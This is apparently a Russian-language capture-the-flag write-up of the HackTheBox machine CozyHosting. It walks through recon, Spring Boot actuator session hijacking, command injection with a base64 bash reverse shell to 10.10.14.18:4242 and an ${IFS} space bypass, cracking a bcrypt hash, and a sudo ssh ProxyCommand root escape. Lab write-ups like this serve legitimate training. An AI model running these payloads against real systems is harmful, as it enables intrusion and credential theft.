Telegram / Видео

Смотри на t.me/kiberdruzhinnik/37.

Обзор сервисов

Машине присвоен IP-адрес 10.10.11.230. Просканируем с помощью nmap:

$ nmap -sV -sS -Pn -p1-65535 -oN 10.10.11.230 10.10.11.230
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-03 01:46 EDT
Nmap scan report for 10.10.11.230
Host is up (0.064s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.36 seconds

Открыты стандартные порты для Linux-машин HackTheBox.

Веб-сервис

После перехода на http://10.10.11.230 получаем адрес cozyhosting.htb, который пропишем в /etc/hosts.

Alt text

echo "10.10.11.230 cozyhosting.htb" | sudo tee -a /etc/hosts

Переходим снова и начинаем изучать веб-сервис.

Alt text

Поищем с помощью gobuster интересные файлы.

$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://cozyhosting.htb -t 20 -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cozyhosting.htb
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index                (Status: 200) [Size: 12706]
/login                (Status: 200) [Size: 4431]
/admin                (Status: 401) [Size: 97]
/logout               (Status: 204) [Size: 0]
/error                (Status: 500) [Size: 73]
===============================================================
Finished
===============================================================

Если перейти на /error, то увидим следующее сообщение.

Alt text

Это ошибка от Spring Boot. Это значит, что в приложении могут быть дополнительные эндпоинты /actuator.

Alt text

В сессиях обнаружили пользователя kanderson.

Alt text

В маппингах - дополнительный эндпоинт /addhost.

Alt text

Интересный эндпоинт POST /executessh.

Копируем один из токенов сессий для пользователя kanderson и вставляем себе в качестве JSESSIONID.

Alt text

Теперь мы можем перейти на /admin.

Alt text

Смотрим в админку и обнаруживаем кусок формы, который отправляет POST запрос на /executessh.

Alt text

Пробуем что-нибудь отправить и посмотреть на результат.

Alt text

Подготовим реверс-шелл:

$ echo "bash -i >& /dev/tcp/10.10.14.18/4242 0>&1" | base64 -w 0
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xOC80MjQyIDA+JjE=

Наш базовый реверс-шелл будет таким:

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xOC80MjQyIDA+JjE=" | base64 -d | bash

Но приложение не разрешает нам использовать пробелы. Заменим все пробелы на ${IFS#??}:

echo${IFS%??}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xOC80MjQyIDA+JjE="${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash

Добавим ; слева и справа от команды:

;echo${IFS%??}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xOC80MjQyIDA+JjE="${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash;

Применим urlencode:

%3becho${IFS%25%3f%3f}"YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4xOC80MjQyIDA%2bJjE%3d"${IFS%25%3f%3f}|${IFS%25%3f%3f}base64${IFS%25%3f%3f}-d${IFS%25%3f%3f}|${IFS%25%3f%3f}bash%3b

Запустим nc и отправим запрос:

rlwrap nc -lnvp 4242

Alt text

Alt text

Исследование приложения

Скачаем приложение cloudhosting-0.0.1.jar и откроем его в jd.

В application.properties найдем пароль для postgres, а в scheduled/FakeUser.class - креды пользователя kanderson:

Alt text

Alt text

Посмотрим в базу данных:

$ psql -h 127.0.0.1 -U postgres                    
Password for user postgres: Vg&nvzAQ7XxR
$ \c cozyhosting
$ \d
              List of relations
 Schema |     Name     |   Type   |  Owner   
--------+--------------+----------+----------
 public | hosts        | table    | postgres
 public | hosts_id_seq | sequence | postgres
 public | users        | table    | postgres
(3 rows)
$ select * from users;
   name    |                           password                           | role  
-----------+--------------------------------------------------------------+-------
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows)

Идентификация хеша (bcrypt):

$ hashid                                                           
$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm
Analyzing '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm'
[+] Blowfish(OpenBSD) 
[+] Woltlab Burning Board 4.x 
[+] bcrypt

Поместим хеш в файл hash.txt и запустим hashcat:

$ hashcat -a 0 -m 3200 hash.txt rockyou.txt
manchesterunited

Посмотрим, какой пользователь есть еще в системе:

$ ls -la /home
Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040750/rwxr-x---  4096  dir   2023-08-08 06:19:05 -0400  josh

Попробуем подключиться к ssh с помощью него:

$ ssh [email protected]
manchesterunited

Alt text

Пользовательский флаг

josh@cozyhosting:~$ ls
user.txt
josh@cozyhosting:~$ cat user.txt 
09161afc4694e1b20970be6f95dedb4d

Alt text

Повышение привилегий

Посмотрим, что пользователь josh может выполнять из-под sudo:

$ sudo -l
[sudo] password for josh: 
Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *

Воспользуемся методом gtfobins.

sudo ssh -o ProxyCommand=';bash 0<&2 1>&2' x

Alt text

Флаг суперпользователя

root@cozyhosting:/home/josh# cd /root
root@cozyhosting:~# ls
root.txt
root@cozyhosting:~# cat root.txt
36aac35bf1a0689e62fdf510e816ede4

Alt text